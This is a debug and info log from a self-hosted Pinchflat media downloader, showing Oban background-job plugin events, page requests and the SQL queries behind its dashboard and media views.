[info] {"source":"oban","duration":2556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.647 [info] {"source":"oban","duration":1659,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:19:04.643 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:34.645 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.649 [info] {"source":"oban","duration":1195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:20:04.647 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:34.649 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.652 [info] {"source":"oban","duration":2064,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:21:04.652 [info] {"source":"oban","duration":2824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:34.655 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.653 [info] {"source":"oban","duration":411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:22:04.658 [info] {"source":"oban","duration":2515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:34.660 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.655 [info] {"source":"oban","duration":810,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:23:04.662 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:34.664 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.657 [info] {"source":"oban","duration":1091,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:24:04.666 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:34.669 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.658 [info] {"source":"oban","duration":382,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:25:04.673 [info] {"source":"oban","duration":3490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:34.676 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.659 [info] {"source":"oban","duration":486,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:26:04.679 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:34.681 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.661 [info] {"source":"oban","duration":349,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:27:04.685 [info] {"source":"oban","duration":2835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:34.688 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.663 [info] {"source":"oban","duration":916,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:28:04.690 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:34.694 [info] {"source":"oban","duration":3109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.665 [info] {"source":"oban","duration":1272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:29:04.697 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:34.699 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.668 [info] {"source":"oban","duration":699,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:30:04.701 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:34.703 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.671 [info] {"source":"oban","duration":1051,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:31:04.705 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:34.708 [info] {"source":"oban","duration":2665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.673 [info] {"source":"oban","duration":1813,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:32:04.711 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:34.713 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.675 [info] {"source":"oban","duration":449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:33:04.715 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:34.717 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.679 [info] {"source":"oban","duration":508,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:34:04.719 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:34.721 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.680 [info] {"source":"oban","duration":382,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:35:04.723 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:34.726 [info] {"source":"oban","duration":2203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.681 [info] {"source":"oban","duration":776,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:36:04.728 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:34.730 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.684 [info] {"source":"oban","duration":1832,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:37:04.732 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:34.735 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.686 [info] {"source":"oban","duration":488,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:38:04.737 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:34.739 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.688 [info] {"source":"oban","duration":716,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:39:04.741 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:34.745 [info] {"source":"oban","duration":2516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.690 [info] {"source":"oban","duration":738,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:40:04.747 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:34.749 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.695 [info] {"source":"oban","duration":3015,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:41:04.751 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:34.753 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.697 [info] {"source":"oban","duration":1171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:42:04.757 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:34.759 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.699 [info] {"source":"oban","duration":1352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:43:04.761 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:34.763 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.701 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:44:04.765 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:34.768 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.703 [info] {"source":"oban","duration":746,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:45:04.770 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:34.773 [info] {"source":"oban","duration":2148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.704 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:46:04.775 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:34.777 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.706 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:47:04.779 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:11.208 [info] GET / 09:47:11.208 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 09:47:11.243 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=1334.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:47:11.246 [debug] QUERY OK source="media_profiles" db=2.3ms idle=1336.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 09:47:11.261 [debug] QUERY OK source="sources" db=13.3ms queue=0.5ms idle=1340.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 09:47:11.425 [debug] QUERY OK source="media_items" db=163.2ms idle=1354.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:47:11.429 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=181.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:47:11.496 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=248.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:47:11.497 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=235.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:47:11.500 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=223.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:47:11.506 [debug] QUERY OK source="tasks" db=2.1ms queue=0.1ms idle=79.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 09:47:11.508 [debug] QUERY OK source="media_items" db=0.9ms queue=0.3ms idle=78.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:47:11.510 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=12.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:47:11.512 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=13.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:47:11.521 [debug] QUERY OK source="media_items" db=4.1ms idle=16.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 09:47:11.523 [debug] QUERY OK source="media_items" db=1.8ms idle=15.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:47:11.525 [info] Sent 200 in 316ms 09:47:11.652 [info] CONNECTED TO Phoenix.LiveView.Socket in 85µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PhokYCEME2EnGngXDDcaRm4TPQkcFUYoktJXYCU0JOMGIgor7iHSs-3b", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://tube.home.svallee.fr/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://tube.home.svallee.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 09:47:11.660 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Unn8xOFQmU5PEPu4YzuZo8uJ", "media_state" => "downloaded"} 09:47:11.662 [debug] QUERY OK source="media_items" db=1.8ms idle=152.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:47:11.664 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=152.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:47:11.666 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=152.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:47:11.666 [debug] Replied in 5ms 09:47:11.671 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Unn8xOFQmU5PEPu4YzuZo8uJ", "media_state" => "pending"} 09:47:11.673 [debug] QUERY OK source="media_items" db=1.0ms idle=151.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 09:47:11.675 [debug] QUERY OK source="media_items" db=1.6ms idle=150.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:47:11.675 [debug] Replied in 4ms 09:47:11.678 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Unn8xOFQmU5PEPu4YzuZo8uJ"} 09:47:11.683 [debug] QUERY OK source="tasks" db=4.2ms queue=0.1ms idle=15.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 09:47:11.683 [debug] Replied in 5ms 09:47:11.684 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Unn8xOFQmU5PEPu4YzuZo8uJ"} 09:47:11.684 [debug] Replied in 228µs 09:47:15.836 [info] GET /sources/2/media/28128 09:47:15.836 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "28128", "source_id" => "2"} Pipelines: [:browser] 09:47:15.840 [debug] QUERY OK source="media_items" db=3.1ms idle=929.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28128] 09:47:15.844 [debug] QUERY OK source="sources" db=1.5ms idle=935.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:47:15.897 [debug] QUERY OK source="tasks" db=55.7ms idle=934.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [28128] 09:47:15.898 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=990.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2345] 09:47:15.900 [debug] QUERY OK source="settings" db=0.9ms idle=606.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:47:15.901 [debug] QUERY OK source="settings" db=0.8ms idle=60.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:47:15.903 [debug] QUERY OK source="settings" db=1.0ms idle=57.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:47:15.904 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", 